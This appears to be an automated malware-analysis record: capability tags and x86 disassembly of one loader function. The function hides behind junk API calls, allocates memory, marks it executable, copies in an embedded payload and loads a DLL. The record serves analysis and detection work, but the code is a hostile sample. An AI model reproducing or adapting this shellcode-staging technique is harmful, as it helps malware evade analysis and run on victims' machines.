Function at 0x401300
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x843060]
sub esp, 0x4ac
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x4013a2
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push str.otawak
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401abe
push 0
push 0
call fcn.0040195e
add esp, 0xc
push 0
call fcn.00401d74
add eax, 0x1134b
push eax
push 0
mov dword [0x843060], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x843060]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov dword [0x841fb4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x4013eb
lea eax, [esp + 0xb8]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4013d7
xor esi, esi
cmp dword [0x843060], esi
jbe 0x401447
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0x843064]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x841fb4]
mov byte [eax + esi], dl
cmp dword [0x843060], 0xa8
jne 0x40143e
push 0
push 0
call edi
lea ecx, [esp + 0x20]
push ecx
call ebx
inc esi
cmp esi, dword [0x843060]
jb 0x401410
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [esp + 0xc], eax
mov edx, dword [0x843060]
add edx, eax
cmp edx, 0xe
jne 0x4014b3
push 0
push 0
push str.jatefunivapabopecuhisizuvis
call esi
push str.nozico_sef_tuxilogotujiz
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x40145f
call fcn.004011e0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x26
jne 0x4014dc
call fcn.004012e0
inc esi
cmp esi, 0x6753f
jl 0x4014d0
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebx, 0x7b
jmp 0x401500
cmp dword [0x843060], 0x86
jne 0x401512
push 0
push 0
call esi
cmp dword [0x843060], 0xf
jne 0x401526
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
sub ebx, 1
jne 0x401500
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret